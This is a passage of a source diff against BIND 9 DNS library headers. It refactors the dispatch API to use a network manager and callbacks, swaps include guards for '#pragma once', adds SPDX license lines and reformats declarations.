 	dns_dispatch_t **dispatches;
 	int		 ndisp;
 	int		 cur;
 	isc_mutex_t	 lock;
 };
 
-/*@{*/
-/*%
- * Attributes for added dispatchers.
- *
- * Values with the mask 0xffff0000 are application defined.
- * Values with the mask 0x0000ffff are library defined.
- *
- * Insane values (like setting both TCP and UDP) are not caught.  Don't
- * do that.
- *
- * _PRIVATE
- *	The dispatcher cannot be shared.
- *
- * _TCP, _UDP
- *	The dispatcher is a TCP or UDP socket.
- *
- * _IPV4, _IPV6
- *	The dispatcher uses an IPv4 or IPv6 socket.
- *
- * _NOLISTEN
- *	The dispatcher should not listen on the socket.
- *
- * _MAKEQUERY
- *	The dispatcher can be used to issue queries to other servers, and
- *	accept replies from them.
- *
- * _RANDOMPORT
- *	Previously used to indicate that the port of a dispatch UDP must be
- *	chosen randomly.  This behavior now always applies and the attribute
- *	is obsoleted.
- *
- * _EXCLUSIVE
- *	A separate socket will be used on-demand for each transaction.
- */
-#define DNS_DISPATCHATTR_PRIVATE   0x00000001U
-#define DNS_DISPATCHATTR_TCP	   0x00000002U
-#define DNS_DISPATCHATTR_UDP	   0x00000004U
-#define DNS_DISPATCHATTR_IPV4	   0x00000008U
-#define DNS_DISPATCHATTR_IPV6	   0x00000010U
-#define DNS_DISPATCHATTR_NOLISTEN  0x00000020U
-#define DNS_DISPATCHATTR_MAKEQUERY 0x00000040U
-#define DNS_DISPATCHATTR_CONNECTED 0x00000080U
-#define DNS_DISPATCHATTR_FIXEDID   0x00000100U
-#define DNS_DISPATCHATTR_EXCLUSIVE 0x00000200U
-#define DNS_DISPATCHATTR_CANREUSE  0x00000400U
-/*@}*/
-
 /*
  */
 #define DNS_DISPATCHOPT_FIXEDID 0x00000001U
 
 isc_result_t
-dns_dispatchmgr_create(isc_mem_t *mctx, dns_dispatchmgr_t **mgrp);
+dns_dispatchmgr_create(isc_mem_t *mctx, isc_nm_t *nm, dns_dispatchmgr_t **mgrp);
 /*%<
- * Creates a new dispatchmgr object.
+ * Creates a new dispatchmgr object, and sets the available ports
+ * to the default range (1024-65535).
  *
  * Requires:
- *\li	"mctx" be a valid memory context.
+ *\li	'mctx' be a valid memory context.
  *
+ *\li	'nm' is a valid network manager.
+
  *\li	mgrp != NULL && *mgrp == NULL
  *
  * Returns:
@@ -163,14 +97,22 @@ dns_dispatchmgr_create(isc_mem_t *mctx, dns_dispatchmgr_t **mgrp);
  *\li	anything else	-- failure
  */
 
-void
-dns_dispatchmgr_destroy(dns_dispatchmgr_t **mgrp);
+#if DNS_DISPATCH_TRACE
+#define dns_dispatchmgr_ref(ptr) \
+	dns_dispatchmgr__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns_dispatchmgr_unref(ptr) \
+	dns_dispatchmgr__unref(ptr, __func__, __FILE__, __LINE__)
+#define dns_dispatchmgr_attach(ptr, ptrp) \
+	dns_dispatchmgr__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define dns_dispatchmgr_detach(ptrp) \
+	dns_dispatchmgr__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(dns_dispatchmgr);
+#else
+ISC_REFCOUNT_DECL(dns_dispatchmgr);
+#endif
+
 /*%<
- * Destroys the dispatchmgr when it becomes empty.  This could be
- * immediately.
- *
- * Requires:
- *\li	mgrp != NULL && *mgrp is a valid dispatchmgr.
+ * Attach/Detach to a dispatch manager.
  */
 
 void
@@ -191,7 +133,7 @@ dns_dispatchmgr_getblackhole(dns_dispatchmgr_t *mgr);
  * without incrementing its reference count.
  *
  * Requires:
- *\li 	mgr is a valid dispatchmgr
+ *\li	mgr is a valid dispatchmgr
  * Returns:
  *\li	A pointer to the current blackhole list, or NULL.
  */
@@ -224,40 +166,16 @@ dns_dispatchmgr_setstats(dns_dispatchmgr_t *mgr, isc_stats_t *stats);
  */
 
 isc_result_t
-dns_dispatch_getudp(dns_dispatchmgr_t *mgr, isc_socketmgr_t *sockmgr,
-		    isc_taskmgr_t *taskmgr, const isc_sockaddr_t *localaddr,
-		    unsigned int buffersize, unsigned int maxbuffers,
-		    unsigned int maxrequests, unsigned int buckets,
-		    unsigned int increment, unsigned int attributes,
-		    unsigned int mask, dns_dispatch_t **dispp);
-
-isc_result_t
-dns_dispatch_getudp_dup(dns_dispatchmgr_t *mgr, isc_socketmgr_t *sockmgr,
-			isc_taskmgr_t *taskmgr, const isc_sockaddr_t *localaddr,
-			unsigned int buffersize, unsigned int maxbuffers,
-			unsigned int maxrequests, unsigned int buckets,
-			unsigned int increment, unsigned int attributes,
-			unsigned int mask, dns_dispatch_t **dispp,
-			dns_dispatch_t *dup);
+dns_dispatch_createudp(dns_dispatchmgr_t *mgr, const isc_sockaddr_t *localaddr,
+		       dns_dispatch_t **dispp);
 /*%<
- * Attach to existing dns_dispatch_t if one is found with dns_dispatchmgr_find,
- * otherwise create a new UDP dispatch.
+ * Create a new UDP dispatch.
  *
  * Requires:
  *\li	All pointer parameters be valid for their respective types.
  *
  *\li	dispp != NULL && *disp == NULL
  *
- *\li	512 <= buffersize <= 64k
- *
- *\li	maxbuffers > 0
- *
- *\li	buckets < 2097169
- *
- *\li	increment > buckets
- *
- *\li	(attributes & DNS_DISPATCHATTR_TCP) == 0
- *
  * Returns:
  *\li	ISC_R_SUCCESS	-- success.
  *
@@ -265,26 +183,10 @@ dns_dispatch_getudp_dup(dns_dispatchmgr_t *mgr, isc_socketmgr_t *sockmgr,
  */
 
 isc_result_t
-dns_dispatch_createtcp(dns_dispatchmgr_t *mgr, isc_socket_t *sock,
-		       isc_taskmgr_t *taskmgr, const isc_sockaddr_t *localaddr,
-		       const isc_sockaddr_t *destaddr, unsigned int buffersize,
-		       unsigned int maxbuffers, unsigned int maxrequests,
-		       unsigned int buckets, unsigned int increment,
-		       unsigned int attributes, dns_dispatch_t **dispp);
+dns_dispatch_createtcp(dns_dispatchmgr_t *mgr, const isc_sockaddr_t *localaddr,
+		       const isc_sockaddr_t *destaddr, dns_dispatch_t **dispp);
 /*%<
- * Create a new dns_dispatch and attach it to the provided isc_socket_t.
- *
- * For all dispatches, "buffersize" is the maximum packet size we will
- * accept.
- *
- * "maxbuffers" and "maxrequests" control the number of buffers in the
- * overall system and the number of buffers which can be allocated to
- * requests.
- *
- * "buckets" is the number of buckets to use, and should be prime.
- *
- * "increment" is used in a collision avoidance function, and needs to be
- * a prime > buckets, and not 2.
+ * Create a new TCP dns_dispatch.
  *
  * Requires:
  *
@@ -292,31 +194,27 @@ dns_dispatch_createtcp(dns_dispatchmgr_t *mgr, isc_socket_t *sock,
  *
  *\li	sock is a valid.
  *
- *\li	task is a valid task that can be used internally to this dispatcher.
- *
- * \li	512 <= buffersize <= 64k
- *
- *\li	maxbuffers > 0.
- *
- *\li	maxrequests <= maxbuffers.
- *
- *\li	buckets < 2097169 (the next prime after 65536 * 32)
- *
- *\li	increment > buckets (and prime).
- *
- *\li	attributes includes #DNS_DISPATCHATTR_TCP and does not include
- *	#DNS_DISPATCHATTR_UDP.
- *
  * Returns:
  *\li	ISC_R_SUCCESS	-- success.
  *
  *\li	Anything else	-- failure.
  */
 
-void
-dns_dispatch_attach(dns_dispatch_t *disp, dns_dispatch_t **dispp);
+#if DNS_DISPATCH_TRACE
+#define dns_dispatch_ref(ptr) \
+	dns_dispatch__ref(ptr, __func__, __FILE__, __LINE__)
+#define dns_dispatch_unref(ptr) \
+	dns_dispatch__unref(ptr, __func__, __FILE__, __LINE__)
+#define dns_dispatch_attach(ptr, ptrp) \
+	dns_dispatch__attach(ptr, ptrp, __func__, __FILE__, __LINE__)
+#define dns_dispatch_detach(ptrp) \
+	dns_dispatch__detach(ptrp, __func__, __FILE__, __LINE__)
+ISC_REFCOUNT_TRACE_DECL(dns_dispatch);
+#else
+ISC_REFCOUNT_DECL(dns_dispatch);
+#endif
 /*%<
- * Attach to a dispatch handle.
+ * Attach/Detach to a dispatch handle.
  *
  * Requires:
  *\li	disp is valid.
@@ -324,61 +222,76 @@ dns_dispatch_attach(dns_dispatch_t *disp, dns_dispatch_t **dispp);
  *\li	dispp != NULL && *dispp == NULL
  */
 
+isc_result_t
+dns_dispatch_connect(dns_dispentry_t *resp);
+/*%<
+ * Connect to the remote server configured in 'resp' and run the
+ * connect callback that was set up via dns_dispatch_add().
+ *
+ * Requires:
+ *\li	'resp' is valid.
+ */
+
 void
-dns_dispatch_detach(dns_dispatch_t **dispp);
+dns_dispatch_send(dns_dispentry_t *resp, isc_region_t *r);
 /*%<
- * Detaches from the dispatch.
+ * Send region 'r' using the socket in 'resp', then run the specified
+ * callback.
  *
  * Requires:
- *\li	dispp != NULL and *dispp be a valid dispatch.
+ *\li	'resp' is valid.
  */
 
 void
-dns_dispatch_starttcp(dns_dispatch_t *disp);
+dns_dispatch_resume(dns_dispentry_t *resp, uint16_t timeout);
 /*%<
- * Start processing of a TCP dispatch once the socket connects.
+ * Reset the read timeout in the socket associated with 'resp' and
+ * continue reading.
  *
  * Requires:
- *\li	'disp' is valid.
+ *\li	'resp' is valid.
  */
 
 isc_result_t
 dns_dispatch_gettcp(dns_dispatchmgr_t *mgr, const isc_sockaddr_t *destaddr,
-		    const isc_sockaddr_t *localaddr, bool *connected,
-		    dns_dispatch_t **dispp);
+		    const isc_sockaddr_t *localaddr, dns_dispatch_t **dispp);
 /*
- * Attempt to connect to a existing TCP connection (connection completed
- * if connected == NULL).
+ * Attempt to connect to a existing TCP connection.
  */
 
+typedef void (*dispatch_cb_t)(isc_result_t eresult, isc_region_t *region,
+			      void *cbarg);
+
 isc_result_t
-dns_dispatch_addresponse(dns_dispatch_t *disp, unsigned int options,
-			 const isc_sockaddr_t *dest, isc_task_t *task,
-			 isc_taskaction_t action, void *arg, uint16_t *idp,
-			 dns_dispentry_t **resp, isc_socketmgr_t *sockmgr);
+dns_dispatch_add(dns_dispatch_t *disp, isc_loop_t *loop, unsigned int options,
+		 unsigned int timeout, const isc_sockaddr_t *dest,
+		 dns_transport_t *transport, isc_tlsctx_cache_t *tlsctx_cache,
+		 dispatch_cb_t connected, dispatch_cb_t sent,
+		 dispatch_cb_t response, void *arg, dns_messageid_t *idp,
+		 dns_dispentry_t **resp);
 /*%<
  * Add a response entry for this dispatch.
  *
  * "*idp" is filled in with the assigned message ID, and *resp is filled in
- * to contain the magic token used to request event flow stop.
+ * with the dispatch entry object.
+ *
+ * The 'connected' and 'sent' callbacks are run to inform the caller when
+ * the connect and send functions are complete. The 'timedout' callback
+ * is run to inform the caller that a read has timed out; it may optionally
+ * reset the read timer. The 'response' callback is run for recv results
+ * (response packets, timeouts, or cancellations).
  *
- * Arranges for the given task to get a callback for response packets.  When
- * the event is delivered, it must be returned using dns_dispatch_freeevent()
- * or through dns_dispatch_removeresponse() for another to be delivered.
+ * All the callback functions are sent 'arg' as a parameter.
  *
  * Requires:
  *\li	"idp" be non-NULL.
  *
- *\li	"task" "action" and "arg" be set as appropriate.
+ *\li	"response" and "arg" be set as appropriate.
  *
  *\li	"dest" be non-NULL and valid.
  *
  *\li	"resp" be non-NULL and *resp be NULL
  *
- *\li	"sockmgr" be NULL or a valid socket manager.  If 'disp' has
- *	the DNS_DISPATCHATTR_EXCLUSIVE attribute, this must not be NULL,
- *	which also means dns_dispatch_addresponse() cannot be used.
- *
  * Ensures:
  *
  *\li	&lt;id, dest> is a unique tuple.  That means incoming messages
@@ -393,34 +306,15 @@ dns_dispatch_addresponse(dns_dispatch_t *disp, unsigned int options,
  */
 
 void
-dns_dispatch_removeresponse(dns_dispentry_t **	  resp,
-			    dns_dispatchevent_t **sockevent);
-/*%<
- * Stops the flow of responses for the provided id and destination.
- * If "sockevent" is non-NULL, the dispatch event and associated buffer is
- * also returned to the system.
- *
- * Requires:
- *\li	"resp" != NULL and "*resp" contain a value previously allocated
- *	by dns_dispatch_addresponse();
- *
- *\li	May only be called from within the task given as the 'task'
- * 	argument to dns_dispatch_addresponse() when allocating '*resp'.
- */
+dns_dispatch_done(dns_dispentry_t **respp);
+/*<
+ * Disconnect a dispatch response entry from its dispatch, cancel all
+ * pending connects and reads in a dispatch entry and shut it down.
 
-isc_socket_t *
-dns_dispatch_getentrysocket(dns_dispentry_t *resp);
-
-isc_socket_t *
-dns_dispatch_getsocket(dns_dispatch_t *disp);
-/*%<
- * Return the socket associated with this dispatcher.
  *
  * Requires:
- *\li	disp is valid.
- *
- * Returns:
- *\li	The socket the dispatcher is using.
+ *\li	"resp" != NULL and "*resp" contain a value previously allocated
+ *	by dns_dispatch_add();
  */
 
 isc_result_t
@@ -431,70 +325,25 @@ dns_dispatch_getlocaladdress(dns_dispatch_t *disp, isc_sockaddr_t *addrp);
  *
  * Requires:
  *\li	disp is valid.
- *\li	addrp to be non null.
+ *\li	addrp to be non NULL.
  *
  * Returns:
  *\li	ISC_R_SUCCESS
  *\li	ISC_R_NOTIMPLEMENTED
  */
 
-void
-dns_dispatch_cancel(dns_dispatch_t *disp);
-/*%<
- * cancel outstanding clients
- *
- * Requires:
- *\li	disp is valid.
- */
-
-unsigned int
-dns_dispatch_getattributes(dns_dispatch_t *disp);
-/*%<
- * Return the attributes (DNS_DISPATCHATTR_xxx) of this dispatch.  Only the
- * non-changeable attributes are expected to be referenced by the caller.
- *
- * Requires:
- *\li	disp is valid.
- */
-
-void
-dns_dispatch_changeattributes(dns_dispatch_t *disp, unsigned int attributes,
-			      unsigned int mask);
+isc_result_t
+dns_dispentry_getlocaladdress(dns_dispentry_t *resp, isc_sockaddr_t *addrp);
 /*%<
- * Set the bits described by "mask" to the corresponding values in
- * "attributes".
- *
- * That is:
- *
- * \code
- *	new = (old & ~mask) | (attributes & mask)
- * \endcode
- *
- * This function has a side effect when #DNS_DISPATCHATTR_NOLISTEN changes.
- * When the flag becomes off, the dispatch will start receiving on the
- * corresponding socket.  When the flag becomes on, receive events on the
- * corresponding socket will be canceled.
+ * Return the local address for this dispatch entry.
  *
  * Requires:
- *\li	disp is valid.
+ *\li	resp is valid.
+ *\li	addrp to be non NULL.
  *
- *\li	attributes are reasonable for the dispatch.  That is, setting the UDP
- *	attribute on a TCP socket isn't reasonable.
- */
-
-void
-dns_dispatch_importrecv(dns_dispatch_t *disp, isc_event_t *event);
-/*%<
- * Inform the dispatcher of a socket receive.  This is used for sockets
- * shared between dispatchers and clients.  If the dispatcher fails to copy
- * or send the event, nothing happens.
- *
- * If the attribute DNS_DISPATCHATTR_NOLISTEN is not set, then
- * the dispatch is already handling a recv; return immediately.
- *
- * Requires:
- *\li 	disp is valid, and the attribute DNS_DISPATCHATTR_NOLISTEN is set.
- * 	event != NULL
+ * Returns:
+ *\li	ISC_R_SUCCESS
+ *\li	ISC_R_NOTIMPLEMENTED
  */
 
 dns_dispatch_t *
@@ -504,12 +353,11 @@ dns_dispatchset_get(dns_dispatchset_t *dset);
  * the round-robin counter.
  *
  * Requires:
- *\li 	dset != NULL
+ *\li	dset != NULL
  */
 
 isc_result_t
-dns_dispatchset_create(isc_mem_t *mctx, isc_socketmgr_t *sockmgr,
-		       isc_taskmgr_t *taskmgr, dns_dispatch_t *source,
+dns_dispatchset_create(isc_mem_t *mctx, dns_dispatch_t *source,
 		       dns_dispatchset_t **dsetp, int n);
 /*%<
  * Given a valid dispatch 'source', create a dispatch set containing
@@ -517,14 +365,8 @@ dns_dispatchset_create(isc_mem_t *mctx, isc_socketmgr_t *sockmgr,
  * source.
  *
  * Requires:
- *\li 	source is a valid UDP dispatcher
- *\li 	dsetp != NULL, *dsetp == NULL
- */
-
-void
-dns_dispatchset_cancelall(dns_dispatchset_t *dset, isc_task_t *task);
-/*%<
- * Cancel socket operations for the dispatches in 'dset'.
+ *\li	source is a valid UDP dispatcher
+ *\li	dsetp != NULL, *dsetp == NULL
  */
 
 void
@@ -534,32 +376,26 @@ dns_dispatchset_destroy(dns_dispatchset_t **dsetp);
  * memory, and set *dsetp to NULL.
  *
  * Requires:
- *\li 	dset is valid
+ *\li	dset is valid
  */
 
-void
-dns_dispatch_setdscp(dns_dispatch_t *disp, isc_dscp_t dscp);
-isc_dscp_t
-dns_dispatch_getdscp(dns_dispatch_t *disp);
+isc_result_t
+dns_dispatch_getnext(dns_dispentry_t *resp);
 /*%<
- * Set/get the DSCP value to be used when sending responses to clients,
- * as defined in the "listen-on" or "listen-on-v6" statements.
+ * Trigger the sending of the next item off the dispatch queue if present.
  *
  * Requires:
- *\li	disp is valid.
+ *\li	resp is valid
  */
 
 isc_result_t
-dns_dispatch_getnext(dns_dispentry_t *resp, dns_dispatchevent_t **sockevent);
+dns_dispatch_checkperm(dns_dispatch_t *disp);
 /*%<
- * Free the sockevent and trigger the sending of the next item off the
- * dispatch queue if present.
+ * Check whether it is permitted to do a zone transfer over a dispatch.
+ * See isc_nm_xfr_checkperm().
  *
  * Requires:
- *\li	resp is valid
- *\li	*sockevent to be valid
+ *\li	disp is valid
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_DISPATCH_H */
diff --git a/lib/dns/include/dns/dlz.h b/lib/dns/include/dns/dlz.h
index e1020fab4e..4b61411259 100644
--- a/lib/dns/include/dns/dlz.h
+++ b/lib/dns/include/dns/dlz.h
@@ -1,5 +1,7 @@
 /*
- * Portions Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0 AND ISC
  *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
@@ -46,8 +48,7 @@
 
 /*! \file dns/dlz.h */
 
-#ifndef DLZ_H
-#define DLZ_H 1
+#pragma once
 
 /*****
 ***** Module Info
@@ -97,11 +98,11 @@ ISC_LANG_BEGINDECLS
 #define DNS_DLZ_VALID(dlz) ISC_MAGIC_VALID(dlz, DNS_DLZ_MAGIC)
 
 typedef isc_result_t (*dns_dlzallowzonexfr_t)(void *driverarg, void *dbdata,
-					      isc_mem_t *	    mctx,
+					      isc_mem_t		   *mctx,
 					      dns_rdataclass_t	    rdclass,
-					      const dns_name_t *    name,
+					      const dns_name_t	   *name,
 					      const isc_sockaddr_t *clientaddr,
-					      dns_db_t **	    dbp);
+					      dns_db_t		  **dbp);
 
 /*%<
  * Method prototype.  Drivers implementing the DLZ interface MUST
@@ -135,12 +136,12 @@ typedef void (*dns_dlzdestroy_t)(void *driverarg, void **dbdata);
  */
 
 typedef isc_result_t (*dns_dlzfindzone_t)(void *driverarg, void *dbdata,
-					  isc_mem_t *		   mctx,
+					  isc_mem_t		  *mctx,
 					  dns_rdataclass_t	   rdclass,
-					  const dns_name_t *	   name,
+					  const dns_name_t	  *name,
 					  dns_clientinfomethods_t *methods,
-					  dns_clientinfo_t *	   clientinfo,
-					  dns_db_t **		   dbp);
+					  dns_clientinfo_t	  *clientinfo,
+					  dns_db_t		 **dbp);
 
 /*%<
  * Method prototype.  Drivers implementing the DLZ interface MUST
@@ -167,7 +168,7 @@ typedef isc_result_t (*dns_dlzfindzone_t)(void *driverarg, void *dbdata,
  */
 
 typedef isc_result_t (*dns_dlzconfigure_t)(void *driverarg, void *dbdata,
-					   dns_view_t * view,
+					   dns_view_t  *view,
 					   dns_dlzdb_t *dlzdb);
 /*%<
  * Method prototype.  Drivers implementing the DLZ interface may
@@ -176,8 +177,8 @@ typedef isc_result_t (*dns_dlzconfigure_t)(void *driverarg, void *dbdata,
  * may call configuration functions during the configure call
  */
 
-typedef bool (*dns_dlzssumatch_t)(const dns_name_t *   signer,
-				  const dns_name_t *   name,
+typedef bool (*dns_dlzssumatch_t)(const dns_name_t    *signer,
+				  const dns_name_t    *name,
 				  const isc_netaddr_t *tcpaddr,
 				  dns_rdatatype_t type, const dst_key_t *key,
 				  void *driverarg, void *dbdata);
@@ -199,10 +200,10 @@ typedef struct dns_dlzmethods {
 
 /*% information about a DLZ driver */
 struct dns_dlzimplementation {
-	const char *		name;
+	const char	       *name;
 	const dns_dlzmethods_t *methods;
-	isc_mem_t *		mctx;
-	void *			driverarg;
+	isc_mem_t	       *mctx;
+	void		       *driverarg;
 	ISC_LINK(dns_dlzimplementation_t) link;
 };
 
@@ -212,12 +213,12 @@ typedef isc_result_t (*dlzconfigure_callback_t)(dns_view_t *, dns_dlzdb_t *,
 /*% An instance of a DLZ driver */
 struct dns_dlzdb {
 	unsigned int		 magic;
-	isc_mem_t *		 mctx;
+	isc_mem_t		*mctx;
 	dns_dlzimplementation_t *implementation;
-	void *			 dbdata;
+	void			*dbdata;
 	dlzconfigure_callback_t	 configure_callback;
 	bool			 search;
-	char *			 dlzname;
+	char			*dlzname;
 	ISC_LINK(dns_dlzdb_t) link;
 	dns_ssutable_t *ssutable;
 };
@@ -330,5 +331,3 @@ dns_dlz_ssumatch(dns_dlzdb_t *dlzdatabase, const dns_name_t *signer,
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DLZ_H */
diff --git a/lib/dns/include/dns/dlz_dlopen.h b/lib/dns/include/dns/dlz_dlopen.h
index fb2f2c5af1..a0059ffbdf 100644
--- a/lib/dns/include/dns/dlz_dlopen.h
+++ b/lib/dns/include/dns/dlz_dlopen.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,8 +13,7 @@
 
 /*! \file dns/dlz_dlopen.h */
 
-#ifndef DLZ_DLOPEN_H
-#define DLZ_DLOPEN_H
+#pragma once
 
 #include <inttypes.h>
 #include <stdbool.h>
@@ -56,7 +57,7 @@ dlz_dlopen_destroy_t(void *dbdata);
 typedef isc_result_t
 dlz_dlopen_findzonedb_t(void *dbdata, const char *name,
 			dns_clientinfomethods_t *methods,
-			dns_clientinfo_t *	 clientinfo);
+			dns_clientinfo_t	*clientinfo);
 
 /*
  * dlz_dlopen_lookup() is required for all DLZ external drivers
@@ -153,5 +154,3 @@ dlz_dlopen_delrdataset_t(const char *name, const char *type, void *dbdata,
 			 void *version);
 
 ISC_LANG_ENDDECLS
-
-#endif /* ifndef DLZ_DLOPEN_H */
diff --git a/lib/dns/include/dns/dns64.h b/lib/dns/include/dns/dns64.h
index c1960f0031..8dd01032b2 100644
--- a/lib/dns/include/dns/dns64.h
+++ b/lib/dns/include/dns/dns64.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_DNS64_H
-#define DNS_DNS64_H 1
+#pragma once
 
 #include <stdbool.h>
 
@@ -98,7 +99,7 @@ dns_dns64_destroy(dns_dns64_t **dns64p);
 
 isc_result_t
 dns_dns64_aaaafroma(const dns_dns64_t *dns64, const isc_netaddr_t *reqaddr,
-		    const dns_name_t *reqsigner, const dns_aclenv_t *env,
+		    const dns_name_t *reqsigner, dns_aclenv_t *env,
 		    unsigned int flags, unsigned char *a, unsigned char *aaaa);
 /*
  * dns_dns64_aaaafroma() determines whether to perform a DNS64 address
@@ -146,7 +147,7 @@ dns_dns64_unlink(dns_dns64list_t *list, dns_dns64_t *dns64);
 
 bool
 dns_dns64_aaaaok(const dns_dns64_t *dns64, const isc_netaddr_t *reqaddr,
-		 const dns_name_t *reqsigner, const dns_aclenv_t *env,
+		 const dns_name_t *reqsigner, dns_aclenv_t *env,
 		 unsigned int flags, dns_rdataset_t *rdataset, bool *aaaaok,
 		 size_t aaaaoklen);
 /*
@@ -189,5 +190,3 @@ dns_dns64_findprefix(dns_rdataset_t *rdataset, isc_netprefix_t *prefix,
  */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_DNS64_H */
diff --git a/lib/dns/include/dns/dnsrps.h b/lib/dns/include/dns/dnsrps.h
index 6381579f0d..219142b328 100644
--- a/lib/dns/include/dns/dnsrps.h
+++ b/lib/dns/include/dns/dnsrps.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_DNSRPS_H
-#define DNS_DNSRPS_H
+#pragma once
 
 #include <inttypes.h>
 #include <stdbool.h>
@@ -34,9 +35,9 @@ extern librpz_emsg_t librpz_lib_open_emsg;
  *
  * All of these structures are used by a single thread and so need no locks.
  *
- * rpsdb_t holds the state for a set of RPZ queries.
+ * dns_rpsdb_t holds the state for a set of RPZ queries.
  *
- * rpsnode_t is a link to the rpsdb_t for the set of  RPZ queries
+ * rpsnode_t is a link to the dns_rpsdb_t for the set of  RPZ queries
  * and a flag saying whether it is pretending to be a node with RRs for
  * the qname or the node with the SOA for the zone containing the rewritten
  * RRs or justifying NXDOMAIN.
@@ -44,17 +45,18 @@ extern librpz_emsg_t librpz_lib_open_emsg;
 typedef struct {
 	uint8_t unused;
 } rpsnode_t;
-typedef struct rpsdb {
+
+struct dns_rpsdb {
 	dns_db_t	    common;
 	int		    ref_cnt;
 	librpz_result_id_t  hit_id;
 	librpz_result_t	    result;
-	librpz_rsp_t *	    rsp;
+	librpz_rsp_t	   *rsp;
 	librpz_domain_buf_t origin_buf;
-	const dns_name_t *  qname;
+	const dns_name_t   *qname;
 	rpsnode_t	    origin_node;
 	rpsnode_t	    data_node;
-} rpsdb_t;
+};
 
 /*
  * Convert a dnsrps policy to a classic BIND9 RPZ policy.
@@ -78,7 +80,7 @@ dns_dnsrps_type2trig(dns_rpz_type_t type);
  * Start dnsrps for the entire server.
  */
 isc_result_t
-dns_dnsrps_server_create(void);
+dns_dnsrps_server_create(const char *librpz_path);
 
 /*
  * Stop dnsrps for the entire server.
@@ -109,5 +111,3 @@ dns_dnsrps_rewrite_init(librpz_emsg_t *emsg, dns_rpz_st_t *st,
 #endif /* USE_DNSRPS */
 
 ISC_LANG_ENDDECLS
-
-#endif /* DNS_DNSRPS_H */
diff --git a/lib/dns/include/dns/dnssec.h b/lib/dns/include/dns/dnssec.h
index e74ec4798e..903d40c4f7 100644
--- a/lib/dns/include/dns/dnssec.h
+++ b/lib/dns/include/dns/dnssec.h
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#ifndef DNS_DNSSEC_H
-#define DNS_DNSSEC_H 1
+#pragma once
 
 /*! \file dns/dnssec.h */
 
@@ -27,7 +28,7 @@
 
 ISC_LANG_BEGINDECLS
 
-LIBDNS_EXTERNAL_DATA extern isc_stats_t *dns_dnssec_stats;
+extern isc_stats_t *dns_dnssec_stats;
 
 /*%< Maximum number of keys supported in a zone. */
 #define DNS_MAXZONEKEYS 32
@@ -94,6 +95,23 @@ dns_dnssec_keyfromrdata(const dns_name_t *name, const dns_rdata_t *rdata,
  *\li		various errors from dns_name_totext
  */
 
+isc_result_t
+dns_dnssec_make_dnskey(dst_key_t *key, unsigned char *buf, int bufsize,
+		       dns_rdata_t *target);
+/*%<
+ *	Convert a DST key into a DNS record.
+ *
+ *	Requires:
+ *\li		'key' is not NULL
+ *\li		'buf' is not NULL
+ *\li		'bufsize' equals DST_KEY_MAXSIZE
+ *\li		'target' is not NULL
+ *
+ *	Returns:
+ *\li		#ISC_R_SUCCESS
+ *\li		various errors from dst_key_todns
+ */
+
 isc_result_t
 dns_dnssec_sign(const dns_name_t *name, dns_rdataset_t *set, dst_key_t *key,
 		isc_stdtime_t *inception, isc_stdtime_t *expire,
@@ -244,7 +262,7 @@ dns_dnssec_signs(dns_rdata_t *rdata, const dns_name_t *name,
  * rrset.  dns_dnssec_signs() works on any rrset.
  */
 
-isc_result_t
+void
 dns_dnsseckey_create(isc_mem_t *mctx, dst_key_t **dstkey,
 		     dns_dnsseckey_t **dkp);
 /*%<
@@ -252,10 +270,6 @@ dns_dnsseckey_create(isc_mem_t *mctx, dst_key_t **dstkey,
  *
  *	Requires:
  *\li		'dkp' is not NULL and '*dkp' is NULL.
- *
- *	Returns:
- *\li		#ISC_R_SUCCESS
- *\li		#ISC_R_NOMEMORY
  */
 
 void
@@ -325,7 +339,8 @@ isc_result_t
 dns_dnssec_updatekeys(dns_dnsseckeylist_t *keys, dns_dnsseckeylist_t *newkeys,
 		      dns_dnsseckeylist_t *removed, const dns_name_t *origin,
 		      dns_ttl_t hint_ttl, dns_diff_t *diff, isc_mem_t *mctx,
-		      void (*report)(const char *, ...));
+		      void (*report)(const char *, ...)
+			      ISC_FORMAT_PRINTF(1, 2));
 /*%<
  * Update the list of keys in 'keys' with new key information in 'newkeys'.
  *
@@ -354,11 +369,30 @@ dns_dnssec_updatekeys(dns_dnsseckeylist_t *keys, dns_dnsseckeylist_t *newkeys,
 isc_result_t
 dns_dnssec_syncupdate(dns_dnsseckeylist_t *keys, dns_dnsseckeylist_t *rmkeys,
 		      dns_rdataset_t *cds, dns_rdataset_t *cdnskey,
